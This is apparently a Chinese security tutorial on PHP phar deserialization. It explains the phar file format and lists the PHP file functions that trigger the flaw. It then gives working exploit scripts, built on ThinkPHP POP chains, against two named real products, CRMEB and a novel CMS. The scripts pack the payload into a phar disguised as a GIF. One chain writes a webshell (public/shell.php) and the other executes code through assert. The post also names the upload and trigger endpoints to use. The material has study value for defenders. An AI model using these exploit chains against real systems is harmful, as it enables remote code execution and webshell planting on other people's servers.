phar的结构

  1. a stub是一个文件标志,格式为 :xxx<?php xxx;__HALT_COMPILER();?>
  2. manifest是被压缩的文件的属性等放在这里,这部分是以序列化存储的,是主要的攻击点。
  3. contents是被压缩的内容。
  4. signature 签名,放在文件末尾。

受影响函数

fileatime filectime file_exists file_get_contents
file_put_contents file filegroup fopen
fileinode filemtime fileowner fileperms
is_dir is_executable is_file is_link
is_readable is_writeable parse_ini_file copy
unlink stat is_writable readfile

漏洞复现

<?php
class A{
    public $name;
    public function __construct(){
        echo "对象创建调用<br>";
    }
    public function __destruct(){
        eval($this->name);
    }
}
file_exists($_GET['file']);
?>

phar反序列化可以不用unserialize函数的可控,只需要满足上面的危险函数可控,大大增加了反序列化漏洞的挖掘。这里,利用以下代码生成phar文件:

<?php
    class A {
        public function __construct(){
            $this->name = 'phpinfo();';
        }
    }

    @unlink("phar.phar");
    $phar = new Phar("phar.phar");
    $phar->startBuffering();
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new A();
    $phar->setMetadata($o); //将自定义meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

phar文件是通过stub来标识的,是通过xxx<?php xxx.__HALT_COMPILER(); ?>来判断的,所以对后缀并没有要求,修改成gif,通过图片的上传点,上传到目标服务器,在利用phar://协议执行pahr文件。

在php.ini中需要设置phar.readonly为off,不是无法生成phar文件

phar.readonly = off

CRMEB系统phar反序列化

CRMEB是基于THINKPHP6.0开发的,tp6.0的反序列化链在前面的文章分析过,利用pop链生成php文件。由于是后台反序列化也只能供学习。在crmeb\app\admin\controller\system\SystemFile.php下的openfile方法中的file参数可控。

第66行将file赋值给了filepath变量,然后跟进67的read_file方法

这里$file可控,且存在执行phar反序列化的危险函数,同时这里也可以任意文件读取

生成phar文件,执行tp6.0反序列化漏洞,exp如下:

<?php 

namespace League\Flysystem\Cached\Storage{
    abstract class AbstractCache
    {
        protected $autosave = false;
        protected $cache = ["shell"=>"<?php phpinfo();?>"];
    }
}

namespace League\Flysystem\Cached\Storage{
    use League\Flysystem\Cached\Storage\AbstractCache;
    class Adapter extends AbstractCache
    {
        protected $file;
        protected $adapter;

        public function __construct($adapter="")
        {
            $this->file = "./public/shell.php";
            $this->adapter = $adapter;
        }
    }
}

namespace League\Flysystem\Adapter{
    class Local 
    {
        protected $writeFlags = 0;
        //对应file_put_contents的第三个参数
    }
}

namespace{
    $local = new League\Flysystem\Adapter\Local();
    $cache = new League\Flysystem\Cached\Storage\Adapter($local);
    @unlink("phar.phar");
    $phar = new Phar("phar.phar");
    $phar->startBuffering();
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
    $phar->setMetadata($cache); //将自定义meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
    echo urlencode(serialize($cache));
}

将生成的phar文件修改成gif文件,找一处上传gif图片的点,上传这个pahr文件,在添加商品处:admin/store.StoreProduct/create.html

利用phar协议执行反序列化

狂雨小说cms phar反序列化

狂雨小说cms最新版是基于tp5.1.33开发的,此漏洞在后台触发。在控制器\application\admin\controller\Ranking.php中的delAllFiles方法,dir参数可控

利用tp的pop链生成phar文件,exp如下:

<?php
namespace think {
    abstract class Model
    {
        protected $append;
        private $data;

        function __construct()
        {
            $this->append = ["aaaa" => ["123456"]];
            $this->data = ["aaaa" => new Request()];
        }
    }

    class Request
    {
        protected $param;
        protected $hook;
        protected $filter;
        protected $config;
        function __construct(){
            $this->filter = "assert";
            $this->config = ["var_ajax"=>''];
            $this->hook = ["visible"=>[$this,"isAjax"]];
            $this->param = ["phpinfo()"];
        }
    }
}
namespace think\process\pipes {
    use think\model\Pivot;
    class Windows
    {
        private $files;

        public function __construct()
        {
            $this->files = [new Pivot()];
        }
    }
}

namespace think\model {
    use think\Model;
    class Pivot extends Model
    {
    }
}

namespace{
    use think\process\pipes\Windows;
    $cache = new Windows();
    @unlink("phar.phar");
    $phar = new Phar("phar.phar");
    $phar->startBuffering();
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
    $phar->setMetadata($cache); //将自定义meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
    echo urlencode(serialize($cache));
}
?>

修改后缀为gif,找一处图片上传的点,将phar.gif上传

最后利用phar协议执行gif文件进行反序列攻击。